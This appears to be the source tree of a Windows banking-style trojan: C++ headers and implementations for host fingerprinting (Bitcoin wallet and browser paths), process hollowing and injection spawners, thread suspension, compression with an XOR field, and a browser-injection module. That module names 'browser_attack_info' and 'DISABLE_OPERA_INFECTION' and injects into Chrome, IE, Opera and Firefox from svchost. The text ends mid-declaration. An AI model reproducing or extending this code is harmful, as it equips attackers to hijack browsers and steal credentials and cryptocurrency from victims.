/core/info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #ifndef CONFIG_OK 13 | #include "../config.h" 14 | #endif 15 | 16 | #include "common/mem.h" 17 | #include "common/str.h" 18 | 19 | // Test for files (PF: Program Files, AD: AppData 20 | #define PF_TEST_BITCOIN "\\Bitcoin\\bitcoin-qt.exe" 21 | #define AD_TEST_BITCOIN2 "\\Roaming\\Bitcoin\\peers.dat" 22 | #define AD_TEST_CHROME "\\Local\\Google\\Chrome\\Application\\chrome.exe" 23 | #define PF64_TEST_OPERA "\\Opera\\opera.exe" 24 | #define PF_TEST_OPERA "\\Opera\\opera.exe" 25 | #define PF_TEST_FF "\\Mozilla Firefox\\firefox.exe" 26 | #define PF64_TEST_IE "\\Internet Explorer\\iexplore.exe" 27 | #define PF_TEST_IE "\\Internet Explorer\\iexplore.exe" 28 | 29 | namespace client_info { 30 | 31 | // Test constants 32 | static const LPSTR pf_test_bitcoin = PF_TEST_BITCOIN; 33 | static const LPSTR ad_test_bitcoin2 = AD_TEST_BITCOIN2; 34 | static const LPSTR ad_test_chrome = AD_TEST_CHROME; 35 | static const LPSTR pf64_test_opera = PF64_TEST_OPERA; 36 | static const LPSTR pf_test_opera = PF_TEST_OPERA; 37 | static const LPSTR pf_test_ff = PF_TEST_FF; 38 | static const LPSTR pf64_test_ie = PF64_TEST_IE; 39 | static const LPSTR pf_test_ie = PF_TEST_IE; 40 | 41 | bool check_file_existence(__in const str_string& path); 42 | bool check_file_existence(__in const LPSTR path); 43 | 44 | class info { 45 | public: 46 | typedef struct raw_info { 47 | CHAR hostname[MAX_COMPUTERNAME_LENGTH + str::ASCII_CHAR]; 48 | UINT hostname_len; 49 | 50 | bool is_bitcoin; 51 | bool is_chrome; 52 | bool is_opera; 53 | bool is_firefox; 54 | bool is_ie; 55 | 56 | CHAR bitcoin_loc[MAX_PATH + str::ASCII_CHAR]; 57 | CHAR chrome_loc[MAX_PATH + str::ASCII_CHAR]; 58 | CHAR opera_loc[MAX_PATH + str::ASCII_CHAR]; 59 | CHAR firefox_loc[MAX_PATH + str::ASCII_CHAR]; 60 | CHAR ie_loc[MAX_PATH + str::ASCII_CHAR]; 61 | 62 | SYSTEM_INFO sys_info; 63 | OSVERSIONINFOA os_info; 64 | 65 | raw_info(void) 66 | { 67 | mem::zeromem(hostname, sizeof(hostname)); 68 | hostname_len = 0; 69 | is_bitcoin = false; 70 | is_chrome = false; 71 | is_opera = false; 72 | is_firefox = false; 73 | is_ie = false; 74 | 75 | mem::zeromem(bitcoin_loc, MAX_PATH + str::ASCII_CHAR); 76 | mem::zeromem(chrome_loc, MAX_PATH + str::ASCII_CHAR); 77 | mem::zeromem(opera_loc, MAX_PATH + str::ASCII_CHAR); 78 | mem::zeromem(firefox_loc, MAX_PATH + str::ASCII_CHAR); 79 | mem::zeromem(ie_loc, MAX_PATH + str::ASCII_CHAR); 80 | 81 | mem::zeromem(&sys_info, sizeof(SYSTEM_INFO)); 82 | mem::zeromem(&os_info, sizeof(OSVERSIONINFOA)); 83 | } 84 | 85 | } RAW_INFO, *PRAW_INFO; 86 | 87 | private: 88 | PRAW_INFO raw_data; 89 | 90 | StrString Hostname; 91 | OSVERSIONINFOA *version_info; 92 | SYSTEM_INFO *system_info; 93 | 94 | StrString AppData; 95 | StrString ProgFiles86; 96 | StrString ProgFiles64; 97 | 98 | public: 99 | info(void); 100 | ~info(void); 101 | 102 | bool gather_data(void); 103 | 104 | bool parse_directories(__inout raw_info *data); 105 | 106 | raw_info *get_data(void) const 107 | { 108 | return this->raw_data; 109 | } 110 | }; 111 | } 112 | -------------------------------------------------------------------------------- /inject/spawn.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifndef DISABLE_LIBRARY_INFO 16 | #ifdef CONFIG_COMPILE64 17 | #pragma message (OUTPUT_PRIMARY "spawn: Loading standard memory module (64)") 18 | #else 19 | #pragma message (OUTPUT_PRIMARY "spawn: Loading standard memory module (32)") 20 | #endif 21 | #endif 22 | 23 | //#include "error.h" 24 | #include "api.h" 25 | #include "common/mem.h" 26 | #include "common/fs.h" 27 | 28 | #include "hollow.h" 29 | 30 | //#define SPAWN_TEST //Does not create/hollow, just spawns a message box 31 | 32 | #pragma once 33 | 34 | namespace spawn { 35 | 36 | // Keep track of all instances 37 | class spawn_process; 38 | extern Ptr> SpawnedProcesses; 39 | static std::vector *get_all_spawned_processes(void) 40 | { 41 | return SpawnedProcesses.get_value(); 42 | } 43 | 44 | // Sync for spawn process list 45 | extern PCRITICAL_SECTION sync_proc_list; 46 | static void enter_sync(void) 47 | { 48 | cEnterCriticalSection(sync_proc_list); 49 | } 50 | 51 | static void leave_sync(void) 52 | { 53 | cLeaveCriticalSection(sync_proc_list); 54 | } 55 | 56 | // Initialize spawn namespace 57 | extern bool engine_ok; 58 | void init(void); 59 | static bool get_is_engine_ok(void) 60 | { 61 | return spawn::engine_ok; 62 | } 63 | 64 | // Spawn instances 65 | class spawn_process { 66 | protected: 67 | HANDLE process_handle; 68 | Buffer2 RawPE; 69 | 70 | public: 71 | virtual bool process(void) = 0; 72 | 73 | virtual ~spawn_process(void) 74 | { 75 | 76 | } 77 | 78 | bool kill_process(__inout HANDLE *proc_handle); 79 | 80 | HANDLE get_proc_handle(void) const 81 | { 82 | return this->process_handle; 83 | } 84 | 85 | bool add_spawn_to_global(void) 86 | { 87 | spawn::get_all_spawned_processes()->push_back(this); 88 | 89 | return true; 90 | } 91 | }; 92 | 93 | // Spawn by hollowing 94 | class hollow : public spawn_process { 95 | public: 96 | hollow(__in const mem::buffer2& raw_pe); 97 | 98 | virtual bool process(void); 99 | }; 100 | 101 | // Spawn by injection 102 | class inject : public spawn_process { 103 | public: 104 | inject(__in const mem::buffer2& raw_pe); 105 | 106 | virtual bool process(void); 107 | }; 108 | 109 | // Spawn by CreateProcess 110 | class createprocess : public spawn_process { 111 | private: 112 | StrString ModuleName; 113 | PROCESS_INFORMATION *proc_info; 114 | STARTUPINFOA *startup_info; 115 | 116 | public: 117 | createprocess(__in const mem::buffer2& raw_pe, __in const str_string& name); 118 | 119 | virtual bool process(void); 120 | 121 | virtual ~createprocess(void) 122 | { 123 | mem::free(this->startup_info); 124 | mem::free(this->proc_info); 125 | } 126 | }; 127 | 128 | static void destroy_all_spawned_processes(__in std::vector *procs) 129 | { 130 | 131 | for (std::vector::iterator i = procs->begin(); 132 | i != procs->end(); i++) 133 | { 134 | HANDLE current_handle = (*i)->get_proc_handle(); 135 | 136 | if (current_handle == INVALID_HANDLE_VALUE) { 137 | 138 | } 139 | 140 | (*i)->kill_process(¤t_handle); 141 | } 142 | 143 | procs->clear(); 144 | } 145 | } -------------------------------------------------------------------------------- /core/db.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | 6 | #include "db.h" 7 | 8 | #include "common/mem.h" 9 | #include "common/str.h" 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | using namespace db; 18 | 19 | #pragma comment(lib, "C:\\Program Files (x86)\\MySQL\\MySQL Connector C++ 1.1.3\\lib\\opt\\mysqlcppconn.lib") 20 | 21 | connection_instance::connection_instance( 22 | __in const str_string& address, 23 | __in const WORD port, 24 | __in const str_string& database_name, 25 | __in const str_string& user_name, 26 | __in const str_string& user_pass) 27 | { 28 | this->Database = new str_string(*database_name); 29 | this->User = new str_string(*user_name); 30 | this->Pass = new str_string(*user_pass); 31 | 32 | this->ConnectionData = new str_string("tcp://"); 33 | this->ConnectionData = *this->ConnectionData + address; 34 | LPSTR port_string = str::int_to_stringA(port); 35 | StrString PortString = new str_string(port_string); 36 | this->ConnectionData = *this->ConnectionData + ":"; 37 | this->ConnectionData = *this->ConnectionData + **PortString; 38 | mem::free(port_string); 39 | 40 | this->sql_prepared_statements = new std::vector; 41 | this->sql_result_sets = new std::vector; 42 | //this->sql_pairings = new std::map; 43 | 44 | } 45 | 46 | bool connection_instance::connect(void) 47 | { 48 | try { 49 | this->sql_driver = get_driver_instance(); 50 | this->sql_connection = this->sql_driver->connect(**this->ConnectionData, **this->User, **this->Pass); 51 | this->sql_connection->setAutoCommit(false); 52 | this->sql_connection->setSchema(**this->Database); 53 | 54 | return true; 55 | } catch (sql::SQLException &exception) { 56 | 57 | #ifdef DEBUG_OUT 58 | DBGOUT("[!] Failure in connecting to database (%s).", **this->ConnectionData); 59 | #endif 60 | return false; 61 | } 62 | 63 | return true; 64 | } 65 | 66 | bool connection_instance::insert(__in const str_string& statement) 67 | { 68 | try { 69 | sql::Statement *sql_statement = this->sql_connection->createStatement(); 70 | sql::ResultSet *sql_result = sql_statement->executeQuery(statement.to_lpstr()); 71 | 72 | return true; 73 | } catch (sql::SQLException &exception) { 74 | #ifdef DEBUG_OUT 75 | DBGOUT("[!] Failure in INSERT statement\n"); 76 | #endif 77 | return false; 78 | } 79 | //this->sql_prepared_statements->push_back(sql_statement); 80 | //this->sql_result_sets->push_back(sql_result); 81 | //this->sql_pairings[(int)sql_statement] = sql_result; 82 | 83 | return true; 84 | } 85 | 86 | UINT connection_instance::get_count(__in const str_string& table) const 87 | { 88 | StrString StatementRaw = new str_string("SELECT COUNT(*) AS _returncount FROM "); 89 | StatementRaw = *StatementRaw + *table; 90 | 91 | try{ 92 | sql::Statement *sql_statement = this->sql_connection->createStatement(); 93 | sql::ResultSet *sql_result = sql_statement->executeQuery(**StatementRaw); 94 | sql_result->next(); 95 | UINT count_value = sql_result->getInt("_returncount"); 96 | 97 | return 0; 98 | } catch (sql::SQLException &exception) { 99 | #ifdef DEBUG_OUT 100 | DBGOUT("[!] Failed in COUNT statement\n"); 101 | #endif 102 | return 0; 103 | } 104 | } -------------------------------------------------------------------------------- /core/compress.h: -------------------------------------------------------------------------------- 1 | // Example 2 | /* 3 | #define ZIP_TEST "asdfffffffffffffffddsfssaffs" 4 | Buffer2 ZipBuffer = new mem::buffer2((const LPVOID)ZIP_TEST, str::lenA(ZIP_TEST)); 5 | (*ZipBuffer)++; 6 | Ptr ZipTest = new compressor::zip_compress(*ZipBuffer); 7 | ZipTest->process_data(); 8 | 9 | const mem::buffer2 &compressed_data = ZipTest->get_processed_data(); 10 | 11 | Ptr ZipDecomp = 12 | new compressor::zip_decompress(compressed_data, ZipBuffer->get_raw_size()); 13 | ZipDecomp->process_data(); 14 | 15 | const mem::buffer2 &decompressed_data = ZipDecomp->get_processed_data(); 16 | */ 17 | 18 | #pragma once 19 | #ifndef _WINDOWS_ 20 | #include 21 | #endif 22 | 23 | #include 24 | 25 | #ifndef CONFIG_OK 26 | #include "../config.h" 27 | #endif 28 | 29 | #ifndef DISABLE_LIBRARY_INFO 30 | #ifdef CONFIG_COMPILE64 31 | #pragma message (OUTPUT_PRIMARY "compress: Compiling 64-bit") 32 | #else 33 | #pragma message (OUTPUT_PRIMARY "compress: Compiling 32-bit.") 34 | #endif 35 | #endif 36 | 37 | #include "common/mem.h" 38 | 39 | #include "external/miniz.h" 40 | 41 | // Default compression level (0-9) 42 | #define DEFAULT_COMPRESSION_LEVEL 9 43 | 44 | // Link to miniz.c 45 | #define miniz_MZ_OK MZ_OK 46 | 47 | #define miniz_compress_bound compressBound 48 | #define miniz_deflate_bound deflateBound 49 | #define miniz_compress2 compress2 50 | #define miniz_uncompress uncompress 51 | 52 | 53 | namespace compressor { 54 | 55 | static const int default_compression_level = DEFAULT_COMPRESSION_LEVEL; 56 | 57 | typedef struct compress_encrypt_data { 58 | UINT decompressed_size; 59 | DWORD encryption_xor; 60 | } COMPRESS_ENCRYPT_DATA, *PCOMPRESS_ENCRYPT_DATA; 61 | 62 | 63 | class zip { 64 | protected: 65 | 66 | Buffer2 RawData; 67 | Buffer2 ProcessedData; 68 | 69 | bool is_compressed, is_decompressed; 70 | 71 | public: 72 | // Performs either compression, or decompression 73 | virtual bool process_data(__inout PUINT size) = 0; 74 | 75 | // Return the processed data (either compressed or decompressed) 76 | const mem::buffer2& get_processed_data(void) const 77 | { 78 | return *ProcessedData; 79 | } 80 | }; 81 | 82 | class zip_compress : public zip { 83 | 84 | public: 85 | zip_compress::zip_compress(__in const mem::buffer2& decompressed_buffer) 86 | { 87 | this->is_compressed = false; 88 | this->is_decompressed = false; 89 | this->RawData = new mem::buffer2( 90 | decompressed_buffer.get_raw_buffer(), decompressed_buffer.get_raw_size()); 91 | this->ProcessedData = NULL; 92 | } 93 | 94 | // Compress the decompressed buffer 95 | virtual bool process_data(__inout PUINT size); 96 | 97 | mem::buffer2 *get_compressed_buffer(void) const 98 | { 99 | if (this->is_compressed == false) { 100 | return NULL; 101 | } 102 | 103 | return this->ProcessedData.get_value(); 104 | } 105 | }; 106 | 107 | class zip_decompress : public zip { 108 | private: 109 | mz_ulong decomp_len; 110 | 111 | public: 112 | zip_decompress::zip_decompress( 113 | __in const mem::buffer2& compressed_buffer) : 114 | decomp_len((mz_ulong)0) 115 | { 116 | this->RawData = new mem::buffer2( 117 | compressed_buffer.get_raw_buffer(), compressed_buffer.get_raw_size()); 118 | this->ProcessedData = NULL; 119 | } 120 | 121 | // Decompresses already compressed data 122 | virtual bool process_data(__inout PUINT size); 123 | 124 | 125 | mem::buffer2 *get_decompressed_data(void) const 126 | { 127 | if (this->is_decompressed == false) { 128 | return NULL; 129 | } 130 | 131 | return this->ProcessedData.get_value(); 132 | } 133 | }; 134 | 135 | } -------------------------------------------------------------------------------- /debug/stdin.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifndef DISABLE_LIBRARY_INFO 13 | #ifdef CONFIG_COMPILE64 14 | #pragma message (OUTPUT_PRIMARY "stdin: Compiling 64-bit") 15 | #else 16 | #pragma message (OUTPUT_PRIMARY "stdin: Compiling 32-bit.") 17 | #endif 18 | #endif 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #pragma once 26 | 27 | #include "common/str.h" 28 | #include "common/mem.h" 29 | 30 | //#include "debug/console.h" 31 | 32 | #ifdef DEBUG_OUT 33 | //using namespace console; 34 | #endif 35 | 36 | #define STANDARD_PROMPT "(user)> " 37 | 38 | namespace text_io { 39 | static str_string *standard_prompt = new str_string(STANDARD_PROMPT); 40 | 41 | class input { 42 | private: 43 | str_string *raw_input; 44 | LPSTR hard_input; 45 | 46 | StrString RawOutput; 47 | 48 | bool is_anything; 49 | public: 50 | input(VOID) : // take random input from stdin 51 | raw_input(NULL), 52 | hard_input(NULL), 53 | RawOutput(NULL), 54 | is_anything(false) 55 | { 56 | std::string input; 57 | //setcolor(green,black); 58 | std::cout << standard_prompt->to_lpstr(); 59 | //setcolor(white,black); 60 | std::getline(std::cin, input); 61 | LPSTR tmp = (LPSTR)input.data(); 62 | UINT tmp_size = str::lenA(tmp); 63 | if (tmp_size == 0) { 64 | return; 65 | } 66 | this->hard_input = (LPSTR)mem::malloc(tmp_size + str::ASCII_CHAR); 67 | mem::copy(this->hard_input, tmp, tmp_size); 68 | 69 | this->RawOutput = new str_string(this->hard_input); 70 | 71 | this->is_anything = true; 72 | } 73 | 74 | input(__in str_string& prompt) : 75 | raw_input(NULL), 76 | hard_input(NULL), 77 | RawOutput(NULL), 78 | is_anything(false) 79 | { 80 | std::string input; 81 | //setcolor(green,black); 82 | std::cout << prompt.to_lpstr(); 83 | //setcolor(white,black); 84 | std::getline(std::cin, input); 85 | LPSTR tmp = (LPSTR)input.data(); 86 | UINT tmp_size = str::lenA(tmp); 87 | if (tmp_size == 0) { 88 | return; 89 | } 90 | this->hard_input = (LPSTR)mem::malloc(tmp_size + str::ASCII_CHAR); 91 | mem::copy(this->hard_input, tmp, tmp_size); 92 | 93 | this->RawOutput = new str_string(this->hard_input); 94 | 95 | this->is_anything = true; 96 | } 97 | 98 | input(__in const LPSTR prompt): 99 | raw_input(NULL), 100 | hard_input(NULL), 101 | RawOutput(NULL), 102 | is_anything(false) 103 | { 104 | std::string input; 105 | //setcolor(green,black); 106 | std::cout << prompt; 107 | //setcolor(white,black); 108 | std::getline(std::cin, input); 109 | LPSTR tmp = (LPSTR)input.data(); 110 | UINT tmp_size = str::lenA(tmp); 111 | if (tmp_size == 0) { 112 | return; 113 | } 114 | this->hard_input = (LPSTR)mem::malloc(tmp_size + str::ASCII_CHAR); 115 | mem::copy(this->hard_input, tmp, tmp_size); 116 | 117 | this->RawOutput = new str_string(this->hard_input); 118 | 119 | this->is_anything = true; 120 | } 121 | 122 | ~input(VOID) 123 | { 124 | if (raw_input != NULL) delete raw_input; 125 | if (hard_input != NULL) mem::free(hard_input); 126 | } 127 | 128 | LPSTR get_raw_input(VOID) const 129 | { 130 | return this->hard_input; 131 | } 132 | 133 | UINT get_raw_size(VOID) const 134 | { 135 | return str::lenA(this->hard_input); 136 | } 137 | 138 | str_string *get_string(VOID) const 139 | { 140 | return RawOutput.get_value(); 141 | } 142 | 143 | bool get_is_anything(VOID) const 144 | { 145 | return this->is_anything; 146 | } 147 | }; 148 | } -------------------------------------------------------------------------------- /core/core.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "core.h" 7 | 8 | #include "api.h" 9 | #include "common/str.h" 10 | #include "common/mem.h" 11 | #include "debug/debug.h" 12 | 13 | //true: go ahead. false: there is an existing process 14 | bool core::check_event_single(__in str_string *event_name) 15 | { 16 | HANDLE existing_event = INVALID_HANDLE_VALUE; 17 | 18 | existing_event = cOpenEventA(EVENT_ALL_ACCESS, FALSE, event_name->to_lpstr()); 19 | if (existing_event != NULL) { 20 | cCloseHandle(existing_event); 21 | return false; 22 | } 23 | 24 | return true; 25 | } 26 | 27 | bool core::set_event_single(__in str_string *event_name) 28 | { 29 | HANDLE event_handle = INVALID_HANDLE_VALUE; 30 | 31 | event_handle = cCreateEventA(NULL, FALSE, TRUE, event_name->to_lpstr()); 32 | if (event_handle == INVALID_HANDLE_VALUE) { 33 | return false; 34 | } 35 | 36 | core::handle_array.push_back(event_handle); 37 | 38 | return true; 39 | } 40 | 41 | // Always free this structure!!! 42 | struct tm *core::get_timedata(void) 43 | { 44 | errno_t status = 0; 45 | struct tm* time_struct = (struct tm *)mem::malloc(sizeof(struct tm)); 46 | time_t current_time = time(0); 47 | 48 | status = localtime_s(time_struct, ¤t_time); 49 | if (!status) { 50 | mem::free(time_struct); 51 | return NULL; 52 | } 53 | 54 | return time_struct; 55 | } 56 | 57 | str_string *core::get_timestring(__in const struct tm *data) 58 | { 59 | struct tm *current_data = NULL; 60 | if (data == NULL) { 61 | current_data = core::get_timedata(); 62 | } else { 63 | current_data = const_cast(data); 64 | } 65 | 66 | LPSTR year = str::int_to_stringA(current_data->tm_year + 1900); 67 | LPSTR month = str::int_to_stringA(current_data->tm_mon + 1); 68 | LPSTR day = str::int_to_stringA(current_data->tm_mday); 69 | 70 | str_string *current_time = new str_string(year); 71 | current_time = *current_time + "-"; 72 | current_time = *current_time + month; 73 | current_time = *current_time + "-"; 74 | current_time = *current_time + day; 75 | 76 | mem::free(year); 77 | mem::free(month); 78 | mem::free(day); 79 | 80 | mem::free(current_data); 81 | 82 | return current_time; 83 | } 84 | 85 | void exit_process(__in const time_t timeout) 86 | { 87 | 88 | #ifdef DEBUG_OUT 89 | DBGOUT("[!] Exiting process in %d seconds....\n\n", (UINT)timeout); 90 | #endif 91 | 92 | 93 | #ifdef DO_NOT_EXIT_AFTER_FAILURE 94 | DBGOUT("\n\n\t\tPress any key to exit...\n\n"); 95 | _getch(); 96 | cExitProcess(0); 97 | #else 98 | cSleep((DWORD_PTR)timeout); 99 | cExitProcess(0); 100 | #endif 101 | } 102 | 103 | void exit_process(__in const time_t timeout, __inopt const LPSTR message) 104 | { 105 | 106 | #ifdef DEBUG_OUT 107 | if (message == NULL) { 108 | DBGOUT("[!] Exiting process in %d seconds (%s)....\n\n", (UINT)timeout, message); 109 | } else { 110 | DBGOUT("[!] Exiting process in %d seconds (%s).....\n\n", (UINT)timeout, message); 111 | } 112 | #endif 113 | 114 | #ifdef DO_NOT_EXIT_AFTER_FAILURE 115 | DBGOUT("\n\n\t\tPress any key to exit...\n\n"); 116 | _getch(); 117 | cExitProcess(0); 118 | #else 119 | cSleep((DWORD_PTR)timeout); 120 | cExitProcess(0); 121 | #endif 122 | } 123 | 124 | void exit_thread(__in const time_t timeout, __inopt const str_string& message) 125 | { 126 | 127 | #ifdef DEBUG_OUT 128 | DBGOUT("[!] Exiting thread in %d seconds (%s).....\n\n", (UINT)timeout, **message); 129 | #endif 130 | 131 | #ifdef DO_NOT_EXIT_AFTER_FAILURE 132 | DBGOUT("\n\n\t\tPress any key to exit...\n\n"); 133 | _getch(); 134 | cExitProcess(0); 135 | #else 136 | cSleep((DWORD_PTR)timeout); 137 | cExitProcess(0); 138 | #endif 139 | 140 | ExitThread(0); 141 | } 142 | 143 | 144 | -------------------------------------------------------------------------------- /core/threads.cpp: -------------------------------------------------------------------------------- 1 | #include "core/threads.h" 2 | #include "debug/debug.h" 3 | 4 | using namespace thread_space; 5 | 6 | class threads { 7 | private: 8 | 9 | bool engine_state; 10 | 11 | DWORD thread_state; 12 | UINT thread_list[MAX_THREADS]; 13 | UINT thread_count; 14 | DWORD thread_init_state; 15 | 16 | public: 17 | // All of this is for internal use. Only call thread_switch() 18 | THREAD_ERROR thread_init(VOID); 19 | 20 | THREAD_ERROR thread_suspend_resume_threads(VOID); 21 | 22 | THREAD_ERROR thread_control(bool suspend, UINT thread_list[MAX_THREADS], PUINT thread_count); 23 | }; 24 | 25 | threads *thread_data = NULL; 26 | 27 | THREAD_ERROR thread_space::thread_switch(VOID) 28 | { 29 | 30 | #ifdef DEBUG_OUT 31 | DBGOUT("Thread switch"); 32 | #endif 33 | 34 | if (thread_data == NULL) { 35 | thread_data = (threads *)mem::malloc(sizeof(threads)); 36 | thread_data->thread_init(); 37 | } 38 | 39 | THREAD_ERROR status = thread_data->thread_suspend_resume_threads(); 40 | 41 | return status; 42 | } 43 | 44 | THREAD_ERROR threads::thread_init(VOID) 45 | { 46 | 47 | this->thread_state = THREADS_RUNNING; 48 | this->thread_count = 0; 49 | THREAD_ZEROMEM(this->thread_list, sizeof(this->thread_list)); 50 | 51 | return THREAD_ERROR_OK; 52 | } 53 | 54 | THREAD_ERROR threads::thread_suspend_resume_threads(VOID) 55 | { 56 | 57 | THREAD_ERROR status = (THREAD_ERROR)0; 58 | 59 | switch (this->thread_state) { 60 | case THREADS_RUNNING: 61 | // Suspend all threads 62 | 63 | #ifdef DEBUG_OUT 64 | DBGOUT("threads: Suspending all threads"); 65 | #endif 66 | 67 | status = thread_control(TRUE, this->thread_list, &this->thread_count); 68 | if (status != ERROR_SUCCESS) 69 | return THREAD_ERROR_FAIL; 70 | this->thread_state = THREADS_SUSPENDED; 71 | break; 72 | case THREADS_SUSPENDED: 73 | // Resume all threads 74 | 75 | #ifdef DEBUG_OUT 76 | DBGOUT("threads: Resuming all threads"); 77 | #endif 78 | 79 | status = thread_control(FALSE, thread_list, &thread_count); 80 | if (status != ERROR_SUCCESS) 81 | return FALSE; 82 | this->thread_state = THREADS_RUNNING; 83 | break; 84 | default: 85 | return THREAD_ERROR_FAIL; 86 | } 87 | 88 | return THREAD_ERROR_OK; 89 | } 90 | 91 | THREAD_ERROR threads::thread_control(bool suspend, UINT thread_list[MAX_THREADS], PUINT thread_count) 92 | { 93 | HANDLE snapshot, thread; 94 | DWORD current_thread; 95 | DWORD pid; 96 | THREADENTRY32 thread_entry32; 97 | 98 | pid = THREAD_GETCURRENTPROCID(); 99 | current_thread = THREAD_GETCURRENTTHREADID(); 100 | 101 | thread_entry32.dwSize = sizeof(THREADENTRY32); 102 | snapshot = THREAD_GETSNAPSHOT(TH32CS_SNAPTHREAD, 0); 103 | 104 | if (snapshot == INVALID_HANDLE_VALUE) { 105 | return THREAD_ERROR_FAIL; 106 | } 107 | 108 | *thread_count = 0; 109 | 110 | if (THREAD_THREAD32FIRST(snapshot, &thread_entry32)) { 111 | while (TRUE) { 112 | 113 | if((thread_entry32.th32OwnerProcessID == pid) && (thread_entry32.th32ThreadID != current_thread)) { 114 | if (suspend == TRUE) { 115 | // Suspend threads 116 | thread_list[*thread_count] = thread_entry32.th32ThreadID; 117 | (*thread_count)++; 118 | 119 | thread = THREAD_OPENTHREAD(THREAD_ALL_ACCESS, FALSE, thread_entry32.th32ThreadID); 120 | if (thread == NULL) { 121 | return THREAD_ERROR_FAIL; 122 | } 123 | 124 | if (THREAD_SUSPENDTHREAD(thread) == -1) { 125 | return THREAD_ERROR_FAIL; 126 | } 127 | 128 | THREAD_CLOSEHANDLE(thread); 129 | thread = INVALID_HANDLE_VALUE; 130 | } else { 131 | // Resume threads 132 | thread = THREAD_OPENTHREAD(THREAD_ALL_ACCESS, FALSE, thread_entry32.th32ThreadID); 133 | if (thread == NULL) { 134 | return THREAD_ERROR_FAIL; 135 | } 136 | 137 | if (THREAD_RESUMETHREAD(thread) == -1) { 138 | return THREAD_ERROR_FAIL; 139 | } 140 | 141 | THREAD_CLOSEHANDLE(thread); 142 | thread = INVALID_HANDLE_VALUE; 143 | } 144 | } 145 | 146 | // Next thread 147 | if (THREAD_THREAD32NEXT(snapshot, &thread_entry32) == FALSE) break; 148 | } 149 | } 150 | return THREAD_ERROR_OK; 151 | } 152 | 153 | -------------------------------------------------------------------------------- /inject/inject.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifndef DISABLE_LIBRARY_INFO 16 | #ifdef CONFIG_COMPILE64 17 | #pragma message (OUTPUT_PRIMARY "injector: Loading standard memory module (64)") 18 | #else 19 | #pragma message (OUTPUT_PRIMARY "injector: Loading standard memory module (32)") 20 | #endif 21 | #endif 22 | 23 | #define DISABLE_OPERA_INFECTION 24 | 25 | #ifndef USE_PE32 26 | #include "core/pe.h" 27 | #endif 28 | 29 | #ifndef USE_PE 30 | #include "core/pe.h" 31 | #endif 32 | 33 | namespace inject 34 | { 35 | // Maximum amount of PIDs 36 | #define INJECT_MAX_PIDS 1024 37 | #define AVAILABLE_BROWSERS 4 38 | 39 | #ifndef ERROR_CODE 40 | #define ERROR_CODE UINT 41 | #endif 42 | 43 | // Browser info 44 | typedef struct browser_attack_info { 45 | LPSTR name; 46 | DWORD pids[INJECT_MAX_PIDS]; 47 | } BROWSER_ATTACK_INFO, *PBROWSER_ATTACK_INFO; 48 | 49 | typedef struct browser_attack_list { 50 | BROWSER_ATTACK_INFO *attack_list[AVAILABLE_BROWSERS]; 51 | } BROWSER_ATTACK_LIST, *PBROWSER_ATTACK_LIST; 52 | 53 | enum { 54 | BROWSER_CHROME, 55 | BROWSER_IE, 56 | BROWSER_OPERA, 57 | BROWSER_FF 58 | }; 59 | 60 | static LPCSTR browser_list[AVAILABLE_BROWSERS] = { 61 | "chrome.exe", 62 | "iexplore.exe", 63 | "opera.exe", 64 | "firefox.exe"}; 65 | 66 | typedef NTSTATUS (WINAPI *LNtCreateThreadEx)( OUT PHANDLE hThread, 67 | IN ACCESS_MASK DesiredAccess, 68 | IN LPVOID ObjectAttributes, 69 | IN HANDLE ProcessHandle, 70 | IN LPTHREAD_START_ROUTINE lpStartAddress, 71 | IN LPVOID lpParameter, 72 | IN BOOL CreateSuspended, 73 | IN ULONG StackZeroBits, 74 | IN ULONG SizeOfStackCommit, 75 | IN ULONG SizeOfStackReserve, 76 | OUT LPVOID lpBytesBuffer); 77 | 78 | typedef struct NtCreateThreadExBuffer 79 | { 80 | SIZE_T Size; 81 | SIZE_T Unknown1; 82 | SIZE_T Unknown2; 83 | PSIZE_T Unknown3; 84 | SIZE_T Unknown4; 85 | SIZE_T Unknown5; 86 | SIZE_T Unknown6; 87 | PSIZE_T Unknown7; 88 | SIZE_T Unknown8; 89 | } NTCREATETHREADEXBUFFER, *PNTCREATETHREADEXBUFFER; 90 | 91 | // Initializes some variables and that, returns browser_info struct 92 | VOID init(inject::PBROWSER_ATTACK_LIST *attack_list); 93 | 94 | // When running in svchost, inject into all browsers 95 | VOID inject_to_browsers(VOID); 96 | 97 | // Finds all PIDs 98 | ERROR_CODE find_pids( LPCSTR process_name, DWORD pid_array[INJECT_MAX_PIDS]); 99 | 100 | // Filter PIDs for chrome 101 | VOID filter_parents_pids(DWORD pid_array[INJECT_MAX_PIDS], DWORD pid_parent_array[INJECT_MAX_PIDS], DWORD explorer_pid); 102 | 103 | // Inject DLL 104 | ERROR_CODE inject_dll(DWORD pid, LPVOID virtual_image); 105 | 106 | // Returns the virtual image size 107 | UINT get_virtual_size(LPCVOID virtual_image); 108 | 109 | // Checks the validity of the PE header 110 | ERROR_CODE check_pe(LPCVOID virtual_image); 111 | 112 | // Gets the Base address of the virtual image 113 | DWORD get_virtual_base(LPCVOID virtual_image); 114 | 115 | // Returns the base address of the executing module 116 | LPVOID get_module_virtual_base(VOID); 117 | 118 | // Gets the virtual image OEP 119 | LPTHREAD_START_ROUTINE get_virtual_oep(LPCVOID virtual_image); 120 | 121 | // Creates the remote thread 122 | NTSTATUS create_dll_thread(HANDLE process, LPTHREAD_START_ROUTINE oep); 123 | 124 | class inject_instance { 125 | private: 126 | LPVOID 